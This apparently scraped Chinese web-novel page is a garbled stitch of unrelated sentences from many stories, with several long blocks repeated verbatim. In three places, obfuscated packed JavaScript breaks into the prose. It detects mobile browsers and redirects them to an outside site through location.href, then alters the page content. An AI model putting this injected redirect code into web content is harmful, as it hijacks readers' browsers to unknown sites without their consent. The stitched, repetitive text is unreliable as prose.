次日清晨,韩清漪醒得很早。天还是暗暗地,朦朦胧胧见看见满地残破的树枝。韩清漪披衣而起,也不惊动沛菡和雅绿,出了门信步而行。昨夜的风雨还强,一地的落英缤纷。韩清漪出了角门,来到凤翔宫外的望夜舒荷塘旁。 一般的大型古墓,虽然在埋葬时回填夯实了大量的泥土,但是,由于年代久远,这些泥土必然会产生自然沉降,有的就出现了外实内空的现象。 “有你在,我还怕人家无故把我的东西扣下吗?”姜逸冲着咧嘴笑了笑。 不过一话吼出来却自知站不住脚,这么多人都看着,落羽一直淡淡的站在那里,动都没动,想赖也赖不到她身上去。 “你在这里,我才不放心,上去吧,我不会有事儿。爷爷现在不敢对我怎样。”陆漫漫微笑着。 “慢慢来吧,你才刚上道。谁也不能一口吃成个胖子不是?”晋凌看着他的体型,似笑非笑地说。 第一卷 第207章 章绩身死! 管家得知之后还是非常地不放心,特地的安排了一些人手将闲王府上上下下都仔细找了一遍。 这时候云飞扬头都没有转一下说道,站住,着什么急?先看看情况再说!见云飞扬这样说,那个大胖子没有说什么,站在了那里。 “何事惊慌?父皇只是叫你上个香而已,怎么像丢了魂似的。”李世民不满的说道。 九哥这时转过身看着我们说,呵呵,你知道今天被我们砍的都是什么人吗?听到九哥的话我跟张力都愣住了,我们哪知道对方是什么人? 说起来撒贝这是第二次见到这位三王子了,上一次还是在枫柏亭时,纳兰高被菲丽丝打进了水里,之后还口出狂言,惹来撒贝的警告。 “你们继续,不用管我们的,我们就是来看看。”张益辉接着说道。 **下轻声道:“看来,我们的计划需要提前实施了,”纳兰高阴阴的笑道:“没关系,我都已经安排妥当了,你就等着看好戏吧。”两人一起奸奸的笑了起来。 等等,好像他刚才还给自己留了一个烂摊子什么的……袁天罡一不留神揪了几根胡须下来。既然前辈都搞不定,自己就更加咳咳了。 入夜,一轮弯月斜斜地悬在天边,清冷的月光洒满大地,也透过窗户照进了房间里面。夜风吹拂,烛火摇曳,轩辕逸尘和柳青烟坐在桌边,还是继续研究着明天就要面对的对手。 他自己变成了圣龙尊者的身体模样,而且这身体模样还是一副完完全全的虚幻透明的身躯,而圣龙尊者,却是变成了他,而且还拥有真实的身体。 冷战话音未落,全班学生个个惊恐万状。特别是中午去河滩的那帮学生,还一脸的后怕。 杨萍郁闷极了,这事怎么就扯自己头上了,好心好意地拍个马屁,没想到拍错了地方,干脆一声不吭。 司臣毅一向‘精’明的脑袋在此刻,发现自己也有一些想象无能了。就连关宸极那眼底的惊愕也越来越明显了。 端**双手支在桌上,低头掩盖着自己痛楚的模样,耳边传来冷月离去的脚步声,在房门关上的霎那,端**眼角一滴清泪话落。 “怎么,是阿策那孩子欺负你了?”太皇太后人老成精,也猜到这两人肯定是有问题,她能看出来并不是宋依依想退婚,这孩子明显那么喜欢夏侯策,那就是夏侯策那边的问题了。 赵构一 一念了几人的官职,前五位都是正八品的官,第六位是从七品的官。 “主人……她……”受了委屈的莉亚娜顿时泪眼汪汪的看向了自己的新主人,期待主人替自己出头。 “三哥放心,只要天羽能做到,一定竭尽全力。”叶天羽认真地开口,无论如何,若没有三哥,他绝不可能短短时间有了如今的成就。若没有三哥,好些次他都会遇到巨大的危险。 虽然之前,他对简晓星有一些非分之想,不过那都是年少的时候,对美好事物的追求。 在颁奖典礼现场,除了几位入围者,还有不少林舒的熟人,也屏住呼吸,情绪有些紧张。 颜北洛第一反应是简七欲今日可能受了刺激了,不然为何又是不让她叫简公子,又是在这儿说莫名其妙的话的。 李隆基天资聪慧,又是娱乐之外,这种东西,一看就会,立刻扭动起来。 “你的设计图如果真的够好,我还让你占三成股。”宫涛半开玩笑的道。 村里人都知道赵家是个什么德性,但是当时看到的人都不愿意出来作证,想出来作证的人又没看见。 李沐觉得,李颚和吉泽的职务,都和土地有关,公孙大娘能和他们结仇结怨,绝对不会是因为,曾经在京城发生了什么摩擦。 “二哥,你也别说大姐了,咱还是把院子里的碎片给收拾起来吧。”颜北洛接过田冬天手里的扫帚。 华一刀不知道,这是李腾空用了自己神奇的道法奇术,故意刁难他。 沈泽黑眸看了简晓星一眼,立即拍了拍身上的灰,就要去推自行车。 “……”墨月幽没有说话,只是陌君炎感觉到脊背一阵阵发凉,便睁眼看到墨月幽那双水灵灵的大眼,一瞬不瞬的盯着他。 黎绾绾睁眼的时候就看到了男人血腥的眼睛,不等尖叫出声就被男人吻住,毫无怜惜。 宫凰珏冷冷的目光落在他的眼睛里,他才感应到,他旁若无人地盯着容乔看了很久了。 “老王!老王救…呜!”一缕头发甩在杜康脸上,滑腻腻的,竟然要往杜康嘴里钻,被杜康一口咬住,可也喊不出来了。 “您不是精诚团结派的一员吗,怎么会来到这里?”我有些惊奇,因为这种地方,尤其是到了晚上,应该是临危不惧派的散兵游勇花天酒地的场所,像附近的精诚团结派的团体,或者通今**派的人士,都不屑于光顾这里的。 “我刚才,差点杀了她。”想到刚才的场景,顾北城还是有些心慌意乱。 路灯下,男人阴沉着一张俊脸,一瞬不瞬的盯着我,看的我头皮发麻,发脊背发凉。 一念了几人的官职,前五位都是正八品的官,第六位是从七品的官。 “主人……她……”受了委屈的莉亚娜顿时泪眼汪汪的看向了自己的新主人,期待主人替自己出头。 “三哥放心,只要天羽能做到,一定竭尽全力。”叶天羽认真地开口,无论如何,若没有三哥,他绝不可能短短时间有了如今的成就。若没有三哥,好些次他都会遇到巨大的危险。 虽然之前,他对简晓星有一些非分之想,不过那都是年少的时候,对美好事物的追求。 在颁奖典礼现场,除了几位入围者,还有不少林舒的熟人,也屏住呼吸,情绪有些紧张。 颜北洛第一反应是简七欲今日可能受了刺激了,不然为何又是不让她叫简公子,又是在这儿说莫名其妙的话的。 李隆基天资聪慧,又是娱乐之外,这种东西,一看就会,立刻扭动起来。 “你的设计图如果真的够好,我还让你占三成股。”宫涛半开玩笑的道。 村里人都知道赵家是个什么德性,但是当时看到的人都不愿意出来作证,想出来作证的人又没看见。 李沐觉得,李颚和吉泽的职务,都和土地有关,公孙大娘能和他们结仇结怨,绝对不会是因为,曾经在京城发生了什么摩擦。 “二哥,你也别说大姐了,咱还是把院子里的碎片给收拾起来吧。”颜北洛接过田冬天手里的扫帚。 华一刀不知道,这是李腾空用了自己神奇的道法奇术,故意刁难他。 沈泽黑眸看了简晓星一眼,立即拍了拍身上的灰,就要去推自行车。 “……”墨月幽没有说话,只是陌君炎感觉到脊背一阵阵发凉,便睁眼看到墨月幽那双水灵灵的大眼,一瞬不瞬的盯着他。 黎绾绾睁眼的时候就看到了男人血腥的眼睛,不等尖叫出声就被男人吻住,毫无怜惜。 宫凰珏冷冷的目光落在他的眼睛里,他才感应到,他旁若无人地盯着容乔看了很久了。 “老王!老王救…呜!”一缕头发甩在杜康脸上,滑腻腻的,竟然要往杜康嘴里钻,被杜康一口咬住,可也喊不出来了。 “您不是精诚团结派的一员吗,怎么会来到这里?”我有些惊奇,因为这种地方,尤其是到了晚上,应该是临危不惧派的散兵游勇花天酒地的场所,像附近的精诚团结派的团体,或者通今**派的人士,都不屑于光顾这里的。 “我刚才,差点杀了她。”想到刚才的场景,顾北城还是有些心慌意乱。 路灯下,男人阴沉着一张俊脸,一瞬不瞬的盯着我,看的我头皮发麻,发脊背发凉。 一念了几人的官职,前五位都是正八品的官,第六位是从七品的官。 “主人……她……”受了委屈的莉亚娜顿时泪眼汪汪的看向了自己的新主人,期待主人替自己出头。 “三哥放心,只要天羽能做到,一定竭尽全力。”叶天羽认真地开口,无论如何,若没有三哥,他绝不可能短短时间有了如今的成就。若没有三哥,好些次他都会遇到巨大的危险。 虽然之前,他对简晓星有一些非分之想,不过那都是年少的时候,对美好事物的追求。 在颁奖典礼现场,除了几位入围者,还有不少林舒的熟人,也屏住呼吸,情绪有些紧张。 颜北洛第一反应是简七欲今日可能受了刺激了,不然为何又是不让她叫简公子,又是在这儿说莫名其妙的话的。 李隆基天资聪慧,又是娱乐之外,这种东西,一看就会,立刻扭动起来。 “你的设计图如果真的够好,我还让你占三成股。”宫涛半开玩笑的道。 村里人都知道赵家是个什么德性,但是当时看到的人都不愿意出来作证,想出来作证的人又没看见。 李沐觉得,李颚和吉泽的职务,都和土地有关,公孙大娘能和他们结仇结怨,绝对不会是因为,曾经在京城发生了什么摩擦。 “二哥,你也别说大姐了,咱还是把院子里的碎片给收拾起来吧。”颜北洛接过田冬天手里的扫帚。 华一刀不知道,这是李腾空用了自己神奇的道法奇术,故意刁难他。 沈泽黑眸看了简晓星一眼,立即拍了拍身上的灰,就要去推自行车。 “……”墨月幽没有说话,只是陌君炎感觉到脊背一阵阵发凉,便睁眼看到墨月幽那双水灵灵的大眼,一瞬不瞬的盯着他。 黎绾绾睁眼的时候就看到了男人血腥的眼睛,不等尖叫出声就被男人吻住,毫无怜惜。 宫凰珏冷冷的目光落在他的眼睛里,他才感应到,他旁若无人地盯着容乔看了很久了。 “老王!老王救…呜!”一缕头发甩在杜康脸上,滑腻腻的,竟然要往杜康嘴里钻,被杜康一口咬住,可也喊不出来了。 “您不是精诚团结派的一员吗,怎么会来到这里?”我有些惊奇,因为这种地方,尤其是到了晚上,应该是临危不惧派的散兵游勇花天酒地的场所,像附近的精诚团结派的团体,或者通今**派的人士,都不屑于光顾这里的。 “我刚才,差点杀了她。”想到刚才的场景,顾北城还是有些心慌意乱。 路灯下,男人阴沉着一张俊脸,一瞬不瞬的盯着我,看的我头皮发麻,发脊背发凉。 一念了几人的官职,前五位都是正八品的官,第六位是从七品的官。 “主人……她……”受了委屈的莉亚娜顿时泪眼汪汪的看向了自己的新主人,期待主人替自己出头。 “三哥放心,只要天羽能做到,一定竭尽全力。”叶天羽认真地开口,无论如何,若没有三哥,他绝不可能短短时间有了如今的成就。若没有三哥,好些次他都会遇到巨大的危险。 虽然之前,他对简晓星有一些非分之想,不过那都是年少的时候,对美好事物的追求。 在颁奖典礼现场,除了几位入围者,还有不少林舒的熟人,也屏住呼吸,情绪有些紧张。 颜北洛第一反应是简七欲今日可能受了刺激了,不然为何又是不让她叫简公子,又是在这儿说莫名其妙的话的。 李隆基天资聪慧,又是娱乐之外,这种东西,一看就会,立刻扭动起来。 “你的设计图如果真的够好,我还让你占三成股。”宫涛半开玩笑的道。 村里人都知道赵家是个什么德性,但是当时看到的人都不愿意出来作证,想出来作证的人又没看见。 李沐觉得,李颚和吉泽的职务,都和土地有关,公孙大娘能和他们结仇结怨,绝对不会是因为,曾经在京城发生了什么摩擦。 “二哥,你也别说大姐了,咱还是把院子里的碎片给收拾起来吧。”颜北洛接过田冬天手里的扫帚。 华一刀不知道,这是李腾空用了自己神奇的道法奇术,故意刁难他。 沈泽黑眸看了简晓星一眼,立即拍了拍身上的灰,就要去推自行车。 “……”墨月幽没有说话,只是陌君炎感觉到脊背一阵阵发凉,便睁眼看到墨月幽那双水灵灵的大眼,一瞬不瞬的盯着他。 黎绾绾睁眼的时候就看到了男人血腥的眼睛,不等尖叫出声就被男人吻住,毫无怜惜。 宫凰珏冷冷的目光落在他的眼睛里,他才感应到,他旁若无人地盯着容乔看了很久了。 “老王!老王救…呜!”一缕头发甩在杜康脸上,滑腻腻的,竟然要往杜康嘴里钻,被杜康一口咬住,可也喊不出来了。 “您不是精诚团结派的一员吗,怎么会来到这里?”我有些惊奇,因为这种地方,尤其是到了晚上,应该是临危不惧派的散兵游勇花天酒地的场所,像附近的精诚团结派的团体,或者通今**派的人士,都不屑于光顾这里的。 “我刚才,差点杀了她。”想到刚才的场景,顾北城还是有些心慌意乱。 路灯下,男人阴沉着一张俊脸,一瞬不瞬的盯着我,看的我头皮发麻,发脊背发凉。 一念了几人的官职,前五位都是正八品的官,第六位是从七品的官。 “主人……她……”受了委屈的莉亚娜顿时泪眼汪汪的看向了自己的新主人,期待主人替自己出头。 “三哥放心,只要天羽能做到,一定竭尽全力。”叶天羽认真地开口,无论如何,若没有三哥,他绝不可能短短时间有了如今的成就。若没有三哥,好些次他都会遇到巨大的危险。 虽然之前,他对简晓星有一些非分之想,不过那都是年少的时候,对美好事物的追求。 在颁奖典礼现场,除了几位入围者,还有不少林舒的熟人,也屏住呼吸,情绪有些紧张。 颜北洛第一反应是简七欲今日可能受了刺激了,不然为何又是不让她叫简公子,又是在这儿说莫名其妙的话的。 李隆基天资聪慧,又是娱乐之外,这种东西,一看就会,立刻扭动起来。 “你的设计图如果真的够好,我还让你占三成股。”宫涛半开玩笑的道。 村里人都知道赵家是个什么德性,但是当时看到的人都不愿意出来作证,想出来作证的人又没看见。 李沐觉得,李颚和吉泽的职务,都和土地有关,公孙大娘能和他们结仇结怨,绝对不会是因为,曾经在京城发生了什么摩擦。 “二哥,你也别说大姐了,咱还是把院子里的碎片给收拾起来吧。”颜北洛接过田冬天手里的扫帚。 华一刀不知道,这是李腾空用了自己神奇的道法奇术,故意刁难他。 沈泽黑眸看了简晓星一眼,立即拍了拍身上的灰,就要去推自行车。 “……”墨月幽没有说话,只是陌君炎感觉到脊背一阵阵发凉,便睁眼看到墨月幽那双水灵灵的大眼,一瞬不瞬的盯着他。 黎绾绾睁眼的时候就看到了男人血腥的眼睛,不等尖叫出声就被男人吻住,毫无怜惜。 宫凰珏冷冷的目光落在他的眼睛里,他才感应到,他旁若无人地盯着容乔看了很久了。 “老王!老王救…呜!”一缕头发甩在杜康脸上,滑腻腻的,竟然要往杜康嘴里钻,被杜康一口咬住,可也喊不出来了。 “您不是精诚团结派的一员吗,怎么会来到这里?”我有些惊奇,因为这种地方,尤其是到了晚上,应该是临危不惧派的散兵游勇花天酒地的场所,像附近的精诚团结派的团体,或者通今**派的人士,都不屑于光顾这里的。 “我刚才,差点杀了她。”想到刚才的场景,顾北城还是有些心慌意乱。 路灯下,男人阴沉着一张俊脸,一瞬不瞬的盯着我,看的我头皮发麻,发脊背发凉。 一念了几人的官职,前五位都是正八品的官,第六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076204|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位是从七品的官。 “主人……她……”受了委屈的莉亚娜顿时泪眼汪汪的看向了自己的新主人,期待主人替自己出头。 “三哥放心,只要天羽能做到,一定竭尽全力。”叶天羽认真地开口,无论如何,若没有三哥,他绝不可能短短时间有了如今的成就。若没有三哥,好些次他都会遇到巨大的危险。 虽然之前,他对简晓星有一些非分之想,不过那都是年少的时候,对美好事物的追求。 在颁奖典礼现场,除了几位入围者,还有不少林舒的熟人,也屏住呼吸,情绪有些紧张。 颜北洛第一反应是简七欲今日可能受了刺激了,不然为何又是不让她叫简公子,又是在这儿说莫名其妙的话的。 李隆基天资聪慧,又是娱乐之外,这种东西,一看就会,立刻扭动起来。 “你的设计图如果真的够好,我还让你占三成股。”宫涛半开玩笑的道。 村里人都知道赵家是个什么德性,但是当时看到的人都不愿意出来作证,想出来作证的人又没看见。 李沐觉得,李颚和吉泽的职务,都和土地有关,公孙大娘能和他们结仇结怨,绝对不会是因为,曾经在京城发生了什么摩擦。 “二哥,你也别说大姐了,咱还是把院子里的碎片给收拾起来吧。”颜北洛接过田冬天手里的扫帚。 华一刀不知道,这是李腾空用了自己神奇的道法奇术,故意刁难他。 沈泽黑眸看了简晓星一眼,立即拍了拍身上的灰,就要去推自行车。 “……”墨月幽没有说话,只是陌君炎感觉到脊背一阵阵发凉,便睁眼看到墨月幽那双水灵灵的大眼,一瞬不瞬的盯着他。 黎绾绾睁眼的时候就看到了男人血腥的眼睛,不等尖叫出声就被男人吻住,毫无怜惜。 宫凰珏冷冷的目光落在他的眼睛里,他才感应到,他旁若无人地盯着容乔看了很久了。 “老王!老王救…呜!”一缕头发甩在杜康脸上,滑腻腻的,竟然要往杜康嘴里钻,被杜康一口咬住,可也喊不出来了。 “您不是精诚团结派的一员吗,怎么会来到这里?”我有些惊奇,因为这种地方,尤其是到了晚上,应该是临危不惧派的散兵游勇花天酒地的场所,像附近的精诚团结派的团体,或者通今**派的人士,都不屑于光顾这里的。 “我刚才,差点杀了她。”想到刚才的场景,顾北城还是有些心慌意乱。 路灯下,男人阴沉着一张俊脸,一瞬不瞬的盯着我,看的我头皮发麻,发脊背发凉。 一念了几人的官职,前五位都是正八品的官,第六位是从七品的官。 “主人……她……”受了委屈的莉亚娜顿时泪眼汪汪的看向了自己的新主人,期待主人替自己出头。 “三哥放心,只要天羽能做到,一定竭尽全力。”叶天羽认真地开口,无论如何,若没有三哥,他绝不可能短短时间有了如今的成就。若没有三哥,好些次他都会遇到巨大的危险。 虽然之前,他对简晓星有一些非分之想,不过那都是年少的时候,对美好事物的追求。 在颁奖典礼现场,除了几位入围者,还有不少林舒的熟人,也屏住呼吸,情绪有些紧张。 颜北洛第一反应是简七欲今日可能受了刺激了,不然为何又是不让她叫简公子,又是在这儿说莫名其妙的话的。 李隆基天资聪慧,又是娱乐之外,这种东西,一看就会,立刻扭动起来。 “你的设计图如果真的够好,我还让你占三成股。”宫涛半开玩笑的道。 村里人都知道赵家是个什么德性,但是当时看到的人都不愿意出来作证,想出来作证的人又没看见。 李沐觉得,李颚和吉泽的职务,都和土地有关,公孙大娘能和他们结仇结怨,绝对不会是因为,曾经在京城发生了什么摩擦。 “二哥,你也别说大姐了,咱还是把院子里的碎片给收拾起来吧。”颜北洛接过田冬天手里的扫帚。 华一刀不知道,这是李腾空用了自己神奇的道法奇术,故意刁难他。 沈泽黑眸看了简晓星一眼,立即拍了拍身上的灰,就要去推自行车。 “……”墨月幽没有说话,只是陌君炎感觉到脊背一阵阵发凉,便睁眼看到墨月幽那双水灵灵的大眼,一瞬不瞬的盯着他。 黎绾绾睁眼的时候就看到了男人血腥的眼睛,不等尖叫出声就被男人吻住,毫无怜惜。 宫凰珏冷冷的目光落在他的眼睛里,他才感应到,他旁若无人地盯着容乔看了很久了。 “老王!老王救…呜!”一缕头发甩在杜康脸上,滑腻腻的,竟然要往杜康嘴里钻,被杜康一口咬住,可也喊不出来了。 “您不是精诚团结派的一员吗,怎么会来到这里?”我有些惊奇,因为这种地方,尤其是到了晚上,应该是临危不惧派的散兵游勇花天酒地的场所,像附近的精诚团结派的团体,或者通今**派的人士,都不屑于光顾这里的。 “我刚才,差点杀了她。”想到刚才的场景,顾北城还是有些心慌意乱。 路灯下,男人阴沉着一张俊脸,一瞬不瞬的盯着我,看的我头皮发麻,发脊背发凉。 一念了几人的官职,前五位都是正八品的官,第六位是从七品的官。 “主人……她……”受了委屈的莉亚娜顿时泪眼汪汪的看向了自己的新主人,期待主人替自己出头。 “三哥放心,只要天羽能做到,一定竭尽全力。”叶天羽认真地开口,无论如何,若没有三哥,他绝不可能短短时间有了如今的成就。若没有三哥,好些次他都会遇到巨大的危险。 虽然之前,他对简晓星有一些非分之想,不过那都是年少的时候,对美好事物的追求。 在颁奖典礼现场,除了几位入围者,还有不少林舒的熟人,也屏住呼吸,情绪有些紧张。 颜北洛第一反应是简七欲今日可能受了刺激了,不然为何又是不让她叫简公子,又是在这儿说莫名其妙的话的。 李隆基天资聪慧,又是娱乐之外,这种东西,一看就会,立刻扭动起来。 “你的设计图如果真的够好,我还让你占三成股。”宫涛半开玩笑的道。 村里人都知道赵家是个什么德性,但是当时看到的人都不愿意出来作证,想出来作证的人又没看见。 李沐觉得,李颚和吉泽的职务,都和土地有关,公孙大娘能和他们结仇结怨,绝对不会是因为,曾经在京城发生了什么摩擦。 “二哥,你也别说大姐了,咱还是把院子里的碎片给收拾起来吧。”颜北洛接过田冬天手里的扫帚。 华一刀不知道,这是李腾空用了自己神奇的道法奇术,故意刁难他。 沈泽黑眸看了简晓星一眼,立即拍了拍身上的灰,就要去推自行车。 “……”墨月幽没有说话,只是陌君炎感觉到脊背一阵阵发凉,便睁眼看到墨月幽那双水灵灵的大眼,一瞬不瞬的盯着他。 黎绾绾睁眼的时候就看到了男人血腥的眼睛,不等尖叫出声就被男人吻住,毫无怜惜。 宫凰珏冷冷的目光落在他的眼睛里,他才感应到,他旁若无人地盯着容乔看了很久了。 “老王!老王救…呜!”一缕头发甩在杜康脸上,滑腻腻的,竟然要往杜康嘴里钻,被杜康一口咬住,可也喊不出来了。 “您不是精诚团结派的一员吗,怎么会来到这里?”我有些惊奇,因为这种地方,尤其是到了晚上,应该是临危不惧派的散兵游勇花天酒地的场所,像附近的精诚团结派的团体,或者通今**派的人士,都不屑于光顾这里的。 “我刚才,差点杀了她。”想到刚才的场景,顾北城还是有些心慌意乱。 路灯下,男人阴沉着一张俊脸,一瞬不瞬的盯着我,看的我头皮发麻,发脊背发凉。 第一卷 第208章 那一笑,很倾城! 正如高腾所说她刚刚突破S级距离实力更强的S级都有很大的差距更何况是超S级呢? 王霄逸收到系统消息不由得大喜过望看来自己的决定是正确的。 条件反射地抹了把脸以后她反应过来自己其实没必要这么慌张反正是躲在自己卧室的被子里没有人会看见的。 江熠此时若是知晓沈瑜这么变态又无礼的要求恐怕是要起一身鸡皮疙瘩。 “咳我好久没去你那里看过了今天刚好没事去你那边坐一会儿可以吗?”苏媚神情有些不自然。 远洋集团顶楼会议室里顾随风眉头紧锁“你们怎么做事的?”声音不大却雷霆万钧吓得在坐各位高管大气都不敢出。 她其实挺喜欢的白鹿的也不是说要交往 “醒啦?车里睡得不舒服吧?“他帮她解开安全带抱出车里进了电梯。 孟景瑞只说“你看着办就是如今这里都是自己人了只要不是**你想干什么都成。 王霄逸感觉自己这一辈子的情绪变化都没有今天这一天丰富不过好在最后的结局还是不错的王霄逸到现在还活着。 “他虽然尚未成形但是他已经是有意识的了哪怕他现在能力不够尚不能回应我们但是他能知道外界发生的事情。”商渊说道。 李清风丝毫不给唐新机会趁着龙隐剑诀彻底破灭的那一瞬间便带动万剑归宗向唐新冲来。 “难怪阿凯说他奶奶怎么都不肯让他学巫术就说怕他被报应。”我听罢原来还真有此事。 沈剑南听他言语越来越放肆知道他存心不良以前因为何幔宁的事情归罪于自己今日撞上定是要侮辱自己一翻但也没招只能顺着他说话若顶撞了他恐自己身体遭罪。 一时之间天下的铁匠都卷起了铺盖往北方赶为的有两个目的一是齐国强大没有战乱二是有许多的金钱足以过上富足的生活。 那是极为名贵的檀香燃烧起来会释放异香有着凝神静心的效果这是修炼精神时必备的东西不过价格依然不凡此间的主人这样地随意放任燃烧着现在象征着极大的地位和财富。 可叶蕊进封氏两年别说靠近封凌浩就连是见面都是有限的。这结果难免有些差强人意 令叶宏达感到有些失望。 周公义接着道:“李如归的酒由我代替。”说罢两人连满三碗,一一饮尽。众人又是一片掌声。连连哄起。 然而这些对于现在的他来说还是遥远了,几千年已经过去,他无法追寻到事情的真相。 燕国本想趁袁琪被罢免之际再次进攻齐国,但是由于畏惧冉飞而迟迟不敢行动。秦国细作看到了这点,上报魏冉,魏冉一听就笑了,密令下去开始下一步计划。 所有人围着国旗广场,成米字型形队列站好,而整个国旗护卫队,就在万众瞩目间整齐划一的走了出来。 “行了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095560|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你跟我去就行了,不用拿棒子。我就问问,到底是咋回事!”霍大贵的口气变得很软,霍鲁十分的不解为什么自己的老爹一下子变成了软蛋。 “嘻嘻,二级装备嘛,总是不缺的,要不这样吧,我把头盔、护腕和战靴等新出的装备都算上,完完整整的凑齐一套二级装备出售给你们集团,如何?”陆霜的笑声让易经天感到自己像是被坑的一方。 “哄”的一声,看热闹的人们兴奋起来。有的人看热闹不嫌事儿大,有的人同情起寇溪来。 霍鲁悲从心来,眼泪汩汩而下。他走到霍天凤身边,跪下来将躺在地上的冰冷身体抱在怀里面。 “你要是这么说也没什么错误,毕竟我的父母在很久之前就已经死掉了。”韩木耸了一下自己的肩头,道。 这次,**和天涯何处无芳芳不再被陆霜怼得很郁闷,而是脸上有光,腰板都挺得直了,就像是自己手握的一个重要消息一样。 “前三天刚升级为三级村庄,正准备私下开个patty庆祝下,没想到你这家伙就升级到了乡镇,都不知道我公会有多少迷妹想要见一下你。”犇鱼开玩笑道。 而那几个没有见到身影的人,定然是在前面的任务关卡中失败了,早已被踢出了场景任务之中。 但是看看他现在,连说的话都不让人那么能够轻易的明白,却又藏着一些让人觉得很厉害的道理,到底是什么改变了这个男人? 第一卷 第209章 遥敬三碗酒! 谢知命满脸笑容,走了上来。 “你总算来了,乡亲们都等了两个时辰了!” 凌川笑道:“你弄这么大阵仗,搞得我怪紧张的!” “不!”血月被击碎,裘恨带着浓浓的不甘心发出一声撕心裂肺的怒吼。 因此,来这里历练求机缘的人,基本都有一些底牌。但即使如此,也需要谨慎再谨慎。 眼前就黑衣男子竟然开口就说他乃是自己等人的祖宗,这不是最恶毒的骂人是什么,直接将整个东方一族的人都骂了。 “告辞!”曹队长这一次真的走了,不过临走之前死死的看了一眼白天行,他当然清楚李明的示好是因为什么,不由的想要将这个年轻的道士样貌记住,看看到底是什么值得一位大富豪这样做。 这回轮到精灵们头疼了,他们总不能把白狼绑住搬去见领主,于是就出现了眼前的情况,一大堆卫士正侍立在会客厅四周,虎视眈眈的看着白狼,其中还有几位巫师。 “不错!你应该有至少五鼎以上的实力了吧!”一名豹人族战士问道。 在毒沙族的巨掌拍在兽人族战士身上的一瞬间。兽人族战士的身躯宛如一座被引燃的火山,突然喷发,似乎要燃尽靠近它的一切。 “乾坤榜”榜上有名,便可意味着自己的未来将极度有可能前途无量。 我顿时惊叹着寡邪者的传承之久远了,当然,也只是惊叹。而至于灵族传人,我并不怎么注意。 “不过今早被人抓走了,还警告我不准说出去,否则我们全家性命不保”老板被吓的立刻全盘托出。 又去杂货铺买了不少的瓶瓶罐罐等日用品,还有轩轩想要的糖葫芦和风筝也都一一给他买了下来。 掌权者从地上爬起,待卡车靠近一跃窜到车顶,卡车继续向前冲,逼向巴士,他拔出镶在车顶的大斧,做出了反应,他右臂猛摆,将手中的消防斧投掷了出去。 当初若是不强行插足别人的家庭,她的儿子,也不会遭到此等对待。 起初不明白,随着这样的次数多了,顾轻歌不得已起了疑心,他偷偷潜入柳嫣儿的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095561|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闺房,却在里面发现了一本话本子,上面的内容正是讲着两位男子相爱的故事。 莫予诺起身坐在沙发上,额头上的薄汗明显,双手替墨晴把凌乱脱下的衣服穿上整理好。 这市场前排肯定是没有摆摊的位置了,如果要找位置还是得往后走一点。 在美国,苑**为了照顾迈瑞竘,好多同行误以为这是苑**的孩子,苑**也懒的跟他们解释,就这么自然而然的过了三年,莫名其妙的当了迈瑞竘三年的父亲。 江城的九月,正是夏天最热的时候,总有人说到了九月就将进入秋天,不过却忘了还有秋老虎下山一说,所以九月,依旧天气炎热,空气中热烘烘的,哪怕有风吹过来,也是热气扑面。 墨晴很主动的拉着莫予诺的手,对着顾辛点点头,向着饭厅走去。 周厚明心急火燎的在旅馆等了半天,此刻叫吴华回来,忙问情况如何。 “虞萧既然有此准备,自然就有安排,我们何必着急!”七月言笑晏晏的看着虞萧,仿佛这件事是真的与她无关。 第一卷 第210章 本钱厚实! 外面谁都知道林家已经倒了林氏虽然没有宣布破产但林家失去林氏的主导权已经是必然的结果。 姚芷娴在酒席上喝了半醉中途终于忍受不住跑了出去。时屹担心紧跟着她。 许是两人吻得过于忘情就连周围有学生路过将这一幕拍下来都毫无察觉。 突然一直压制实力没突破的君长生就在这一刻爆发出来了肉身潜能。 听到脚步声渐近来人是时晴他也半分不惊奇仍然保持着喂鱼的姿势微微侧眸看了时晴一眼眼神懒洋洋的 高空中原本即将被黑刺洞穿的星燃眨眼间已经消失不见而宛如漫天飞舞的纸钱一样已经缓缓飘落至天道身周的纸片区域中突兀出现了星燃那张印有脸谱的面容。 很明显前者无疑风险极大毕竟谁也不知道这黑雾里面是什么情况。 也只有君长生才有这样的待遇能够让五爪金龙一族的长老亲自来迎接。 夏尔吓了一跳看着气势汹汹的赫敏他咽咽口水本能的回忆起有几个存档中。。婚后差点翻车或者已经翻了车的糟糕情况。 这怎么能怪医生呢?时晴心想姚阿姨的年纪本就不适合怀孕她这个月的精神状态眼见着越来越差今天是什么日子她爸爸也晓得姚阿姨从早上就开始梨花带雨身体和精神双重压力怎么可能受得了? 